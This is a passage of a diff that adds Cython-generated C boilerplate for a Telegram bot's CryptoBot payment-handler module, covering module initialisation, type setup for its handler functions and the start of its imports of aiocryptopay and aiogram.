__Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_global_init_code", 0); + /*--- Global init code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_variable_export_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_variable_export_code", 0); + /*--- Variable export code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_function_export_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_function_export_code", 0); + /*--- Function export code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_type_init_code(void) { + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("__Pyx_modinit_type_init_code", 0); + /*--- Type init code ---*/ + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot)) __PYX_ERR(0, 38, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot_spec, __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot = &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot->tp_dictoffset && __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection)) __PYX_ERR(0, 90, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection_spec, __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 90, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection = &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 90, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection->tp_dictoffset && __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook)) __PYX_ERR(0, 134, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook_spec, __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook) < 0) __PYX_ERR(0, 134, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook = &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook) < 0) __PYX_ERR(0, 134, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook->tp_dictoffset && __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash)) __PYX_ERR(0, 157, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash_spec, __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash) < 0) __PYX_ERR(0, 157, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash = &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash) < 0) __PYX_ERR(0, 157, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash->tp_dictoffset && __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment)) __PYX_ERR(0, 167, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment_spec, __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment) < 0) __PYX_ERR(0, 167, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment = &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment) < 0) __PYX_ERR(0, 167, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment->tp_dictoffset && __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount)) __PYX_ERR(0, 184, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount_spec, __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount) < 0) __PYX_ERR(0, 184, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount = &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount) < 0) __PYX_ERR(0, 184, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount->tp_dictoffset && __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input)) __PYX_ERR(0, 199, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input_spec, __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input) < 0) __PYX_ERR(0, 199, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input = &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input) < 0) __PYX_ERR(0, 199, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input->tp_dictoffset && __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} + +static int __Pyx_modinit_type_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_type_import_code", 0); + /*--- Type import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_variable_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_variable_import_code", 0); + /*--- Variable import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_function_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_function_import_code", 0); + /*--- Function import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + + +#if PY_MAJOR_VERSION >= 3 +#if CYTHON_PEP489_MULTI_PHASE_INIT +static PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def); /*proto*/ +static int __pyx_pymod_exec_cryprobot_pay(PyObject* module); /*proto*/ +static PyModuleDef_Slot __pyx_moduledef_slots[] = { + {Py_mod_create, (void*)__pyx_pymod_create}, + {Py_mod_exec, (void*)__pyx_pymod_exec_cryprobot_pay}, + {0, NULL} +}; +#endif + +#ifdef __cplusplus +namespace { + struct PyModuleDef __pyx_moduledef = + #else + static struct PyModuleDef __pyx_moduledef = + #endif + { + PyModuleDef_HEAD_INIT, + "cryprobot_pay", + 0, /* m_doc */ + #if CYTHON_PEP489_MULTI_PHASE_INIT + 0, /* m_size */ + #elif CYTHON_USE_MODULE_STATE + sizeof(__pyx_mstate), /* m_size */ + #else + -1, /* m_size */ + #endif + __pyx_methods /* m_methods */, + #if CYTHON_PEP489_MULTI_PHASE_INIT + __pyx_moduledef_slots, /* m_slots */ + #else + NULL, /* m_reload */ + #endif + #if CYTHON_USE_MODULE_STATE + __pyx_m_traverse, /* m_traverse */ + __pyx_m_clear, /* m_clear */ + NULL /* m_free */ + #else + NULL, /* m_traverse */ + NULL, /* m_clear */ + NULL /* m_free */ + #endif + }; + #ifdef __cplusplus +} /* anonymous namespace */ +#endif +#endif + +#ifndef CYTHON_NO_PYINIT_EXPORT +#define __Pyx_PyMODINIT_FUNC PyMODINIT_FUNC +#elif PY_MAJOR_VERSION < 3 +#ifdef __cplusplus +#define __Pyx_PyMODINIT_FUNC extern "C" void +#else +#define __Pyx_PyMODINIT_FUNC void +#endif +#else +#ifdef __cplusplus +#define __Pyx_PyMODINIT_FUNC extern "C" PyObject * +#else +#define __Pyx_PyMODINIT_FUNC PyObject * +#endif +#endif + + +#if PY_MAJOR_VERSION < 3 +__Pyx_PyMODINIT_FUNC initcryprobot_pay(void) CYTHON_SMALL_CODE; /*proto*/ +__Pyx_PyMODINIT_FUNC initcryprobot_pay(void) +#else +__Pyx_PyMODINIT_FUNC PyInit_cryprobot_pay(void) CYTHON_SMALL_CODE; /*proto*/ +__Pyx_PyMODINIT_FUNC PyInit_cryprobot_pay(void) +#if CYTHON_PEP489_MULTI_PHASE_INIT +{ + return PyModuleDef_Init(&__pyx_moduledef); +} +static CYTHON_SMALL_CODE int __Pyx_check_single_interpreter(void) { + #if PY_VERSION_HEX >= 0x030700A1 + static PY_INT64_T main_interpreter_id = -1; + PY_INT64_T current_id = PyInterpreterState_GetID(PyThreadState_Get()->interp); + if (main_interpreter_id == -1) { + main_interpreter_id = current_id; + return (unlikely(current_id == -1)) ? -1 : 0; + } else if (unlikely(main_interpreter_id != current_id)) + #else + static PyInterpreterState *main_interpreter = NULL; + PyInterpreterState *current_interpreter = PyThreadState_Get()->interp; + if (!main_interpreter) { + main_interpreter = current_interpreter; + } else if (unlikely(main_interpreter != current_interpreter)) + #endif + { + PyErr_SetString( + PyExc_ImportError, + "Interpreter change detected - this module can only be loaded into one interpreter per process."); + return -1; + } + return 0; +} +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *module, const char* from_name, const char* to_name, int allow_none) +#else +static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *moddict, const char* from_name, const char* to_name, int allow_none) +#endif +{ + PyObject *value = PyObject_GetAttrString(spec, from_name); + int result = 0; + if (likely(value)) { + if (allow_none || value != Py_None) { +#if CYTHON_COMPILING_IN_LIMITED_API + result = PyModule_AddObject(module, to_name, value); +#else + result = PyDict_SetItemString(moddict, to_name, value); +#endif + } + Py_DECREF(value); + } else if (PyErr_ExceptionMatches(PyExc_AttributeError)) { + PyErr_Clear(); + } else { + result = -1; + } + return result; +} +static CYTHON_SMALL_CODE PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def) { + PyObject *module = NULL, *moddict, *modname; + CYTHON_UNUSED_VAR(def); + if (__Pyx_check_single_interpreter()) + return NULL; + if (__pyx_m) + return __Pyx_NewRef(__pyx_m); + modname = PyObject_GetAttrString(spec, "name"); + if (unlikely(!modname)) goto bad; + module = PyModule_NewObject(modname); + Py_DECREF(modname); + if (unlikely(!module)) goto bad; +#if CYTHON_COMPILING_IN_LIMITED_API + moddict = module; +#else + moddict = PyModule_GetDict(module); + if (unlikely(!moddict)) goto bad; +#endif + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "loader", "__loader__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "origin", "__file__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "parent", "__package__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "submodule_search_locations", "__path__", 0) < 0)) goto bad; + return module; +bad: + Py_XDECREF(module); + return NULL; +} + + +static CYTHON_SMALL_CODE int __pyx_pymod_exec_cryprobot_pay(PyObject *__pyx_pyinit_module) +#endif +#endif +{ + int stringtab_initialized = 0; + #if CYTHON_USE_MODULE_STATE + int pystate_addmodule_run = 0; + #endif + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + PyObject *__pyx_t_7 = NULL; + PyObject *__pyx_t_8 = NULL; + unsigned int __pyx_t_9; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + #if CYTHON_PEP489_MULTI_PHASE_INIT + if (__pyx_m) { + if (__pyx_m == __pyx_pyinit_module) return 0; + PyErr_SetString(PyExc_RuntimeError, "Module 'cryprobot_pay' has already been imported. Re-initialisation is not supported."); + return -1; + } + #elif PY_MAJOR_VERSION >= 3 + if (__pyx_m) return __Pyx_NewRef(__pyx_m); + #endif + /*--- Module creation code ---*/ + #if CYTHON_PEP489_MULTI_PHASE_INIT + __pyx_m = __pyx_pyinit_module; + Py_INCREF(__pyx_m); + #else + #if PY_MAJOR_VERSION < 3 + __pyx_m = Py_InitModule4("cryprobot_pay", __pyx_methods, 0, 0, PYTHON_API_VERSION); Py_XINCREF(__pyx_m); + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + #elif CYTHON_USE_MODULE_STATE + __pyx_t_1 = PyModule_Create(&__pyx_moduledef); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1, __pyx_L1_error) + { + int add_module_result = PyState_AddModule(__pyx_t_1, &__pyx_moduledef); + __pyx_t_1 = 0; /* transfer ownership from __pyx_t_1 to "cryprobot_pay" pseudovariable */ + if (unlikely((add_module_result < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + pystate_addmodule_run = 1; + } + #else + __pyx_m = PyModule_Create(&__pyx_moduledef); + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #endif + CYTHON_UNUSED_VAR(__pyx_t_1); + __pyx_d = PyModule_GetDict(__pyx_m); if (unlikely(!__pyx_d)) __PYX_ERR(0, 1, __pyx_L1_error) + Py_INCREF(__pyx_d); + __pyx_b = __Pyx_PyImport_AddModuleRef(__Pyx_BUILTIN_MODULE_NAME); if (unlikely(!__pyx_b)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_cython_runtime = __Pyx_PyImport_AddModuleRef((const char *) "cython_runtime"); if (unlikely(!__pyx_cython_runtime)) __PYX_ERR(0, 1, __pyx_L1_error) + if (PyObject_SetAttrString(__pyx_m, "__builtins__", __pyx_b) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if CYTHON_REFNANNY +__Pyx_RefNanny = __Pyx_RefNannyImportAPI("refnanny"); +if (!__Pyx_RefNanny) { + PyErr_Clear(); + __Pyx_RefNanny = __Pyx_RefNannyImportAPI("Cython.Runtime.refnanny"); + if (!__Pyx_RefNanny) + Py_FatalError("failed to import 'refnanny' module"); +} +#endif + __Pyx_RefNannySetupContext("__Pyx_PyMODINIT_FUNC PyInit_cryprobot_pay(void)", 0); + if (__Pyx_check_binary_version(__PYX_LIMITED_VERSION_HEX, __Pyx_get_runtime_version(), CYTHON_COMPILING_IN_LIMITED_API) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pxy_PyFrame_Initialize_Offsets + __Pxy_PyFrame_Initialize_Offsets(); + #endif + __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_bytes = PyBytes_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_bytes)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_unicode = PyUnicode_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_unicode)) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pyx_CyFunction_USED + if (__pyx_CyFunction_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_FusedFunction_USED + if (__pyx_FusedFunction_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Coroutine_USED + if (__pyx_Coroutine_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Generator_USED + if (__pyx_Generator_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_AsyncGen_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_StopAsyncIteration_USED + if (__pyx_StopAsyncIteration_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + /*--- Library function declarations ---*/ + /*--- Threads initialization code ---*/ + #if defined(WITH_THREAD) && PY_VERSION_HEX < 0x030700F0 && defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS + PyEval_InitThreads(); + #endif + /*--- Initialize various global constants etc. ---*/ + if (__Pyx_InitConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + stringtab_initialized = 1; + if (__Pyx_InitGlobals() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if PY_MAJOR_VERSION < 3 && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) + if (__Pyx_init_sys_getdefaultencoding_params() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + if (__pyx_module_is_main_handlers__payments__cryprobot_pay) { + if (PyObject_SetAttr(__pyx_m, __pyx_n_s_name, __pyx_n_s_main) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + } + #if PY_MAJOR_VERSION >= 3 + { + PyObject *modules = PyImport_GetModuleDict(); if (unlikely(!modules)) __PYX_ERR(0, 1, __pyx_L1_error) + if (!PyDict_GetItemString(modules, "handlers.payments.cryprobot_pay")) { + if (unlikely((PyDict_SetItemString(modules, "handlers.payments.cryprobot_pay", __pyx_m) < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + } + } + #endif + /*--- Builtin init code ---*/ + if (__Pyx_InitCachedBuiltins() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Constants init code ---*/ + if (__Pyx_InitCachedConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Global type/function init code ---*/ + (void)__Pyx_modinit_global_init_code(); + (void)__Pyx_modinit_variable_export_code(); + (void)__Pyx_modinit_function_export_code(); + if (unlikely((__Pyx_modinit_type_init_code() < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + (void)__Pyx_modinit_type_import_code(); + (void)__Pyx_modinit_variable_import_code(); + (void)__Pyx_modinit_function_import_code(); + /*--- Execution code ---*/ + #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + + /* "handlers/payments/cryprobot_pay.py":1 + * from typing import Any # <<<<<<<<<<<<<< + * + * from aiocryptopay import AioCryptoPay, Networks + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_Any); + __Pyx_GIVEREF(__pyx_n_s_Any); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_Any)) __PYX_ERR(0, 1, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_typing, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_Any); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Any, __pyx_t_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":3 + * from typing import Any + * + * from aiocryptopay import AioCryptoPay, Networks # <<<<<<<<<<<<<< + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext + */ + __pyx_t_3 = PyList_New(2); if 